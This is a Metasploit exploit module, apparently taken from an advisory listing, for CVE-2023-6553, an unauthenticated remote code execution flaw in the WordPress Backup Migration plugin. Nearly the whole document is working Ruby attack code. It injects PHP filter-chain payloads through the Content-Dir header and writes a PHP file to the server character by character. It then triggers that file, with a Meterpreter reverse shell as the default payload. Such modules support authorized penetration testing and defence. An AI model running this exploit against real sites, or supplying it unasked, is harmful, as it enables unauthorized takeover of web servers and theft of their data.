Authored by jheysel-r7, Valentin Lobstein, Nex Team | Site metasploit.com

This Metasploit module exploits an unauthenticated remote command execution vulnerability in WordPress Backup Migration plugin versions 1.3.7 and below. The vulnerability is exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint. The exploit makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend bytes to a string by continuously chaining character encoding conversions. This allows an attacker to prepend a PHP payload to a string which gets evaluated by a require statement, which results in command execution.

advisories | CVE-2023-6553

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::HTTP::PhpFilterChain
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Backup Migration Plugin PHP Filter Chain RCE',
'Description' => %q{
This module exploits an unauth RCE in the WordPress plugin: Backup Migration (<= 1.3.7). The vulnerability is
exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint.

The exploit makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend
bytes to a string by continuously chaining character encoding conversions. This allows an attacker to prepend
a PHP payload to a string which gets evaluated by a require statement, which results in command execution.
},
'Author' => [
'Nex Team', # Vulnerability discovery
'Valentin Lobstein', # PoC
'jheysel-r7' # msfmodule
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-6553'],
['URL', 'https://github.com/Chocapikk/CVE-2023-6553/blob/main/exploit.py'],
['URL', 'https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it'],
['WPVDB', '6a4d0af9-e1cd-4a69-a56c-3c009e207eca']
],
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'Platform' => ['unix', 'linux', 'win', 'php'],
'Arch' => [ARCH_PHP],
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2023-12-11',
'DefaultTarget' => 0,
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options(
[
OptString.new('PAYLOAD_FILENAME', [ true, 'The filename for the payload to be used on the target host (%RAND%.php by default)', Rex::Text.rand_text_alpha(4) + '.php']),
]
)
end

def check
return CheckCode::Unknown unless wordpress_and_online?

wp_version = wordpress_version
print_status("WordPress Version: #{wp_version}") if wp_version

# The plugin's official name seems to be Backup Migration however the package filename is "backup-backup"
check_code = check_plugin_version_from_readme('backup-backup', '1.3.8')

if check_code.code != 'appears'
return CheckCode::Safe
end

plugin_version = check_code.details[:version]
print_good("Detected Backup Migration Plugin version: #{plugin_version}")
CheckCode::Appears
end

def send_payload(payload)
php_filter_chain_payload = generate_php_filter_payload(payload)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', 'backup-heart.php'),
'method' => 'POST',
'headers' => {
'Content-Dir' => php_filter_chain_payload
}
)
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
fail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 200 response code') unless res.code == 200
end

def write_to_payload_file(string_to_write)
# Because the payload is base64 encoded and then each character is translated into it's corresponding php filter chain,
# the payload becomes quite large and we start to hit limitations due to the HTTP header size.
# For example this payload: "<?php fwrite(fopen("G", "a"),"x73");?>", ends up being 7721 characters long.
# The payload size limit on the target I was testing seemed to be around 8000 characters.
# Using the following: <?php file_put_contents("file.php","char",FILE_APPEND);?> (more elegant solution) exceeds the
# size limit which is why I ended up using <?php fwrite(fopen("<single_char_filename>", "char" ?> and then after
# copying the single_char_filename to a filename with a .php extension to be executed.

single_char_filename = Rex::Text.rand_text_alpha(1)
string_to_write.each_char do |char|
send_payload("<?php fwrite(fopen("#{single_char_filename}","a"),"#{'x' + char.unpack('H2')[0]}");?>")
end
register_file_for_cleanup(single_char_filename)
send_payload("<?php copy("#{single_char_filename}","#{datastore['PAYLOAD_FILENAME']}");?>")
register_file_for_cleanup(datastore['PAYLOAD_FILENAME'])
end

def trigger_payload_file
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', datastore['PAYLOAD_FILENAME']),
'method' => 'GET'
)
print_warning('The application responded to the request to trigger the payload, this is unexpected. Something may have gone wrong.') if res
end

def exploit
print_status('Writing the payload to disk, character by character, please wait...')
# Use double quotes in the payload, not single.
write_to_payload_file("<?php #{payload.encoded}")
trigger_payload_file
end
end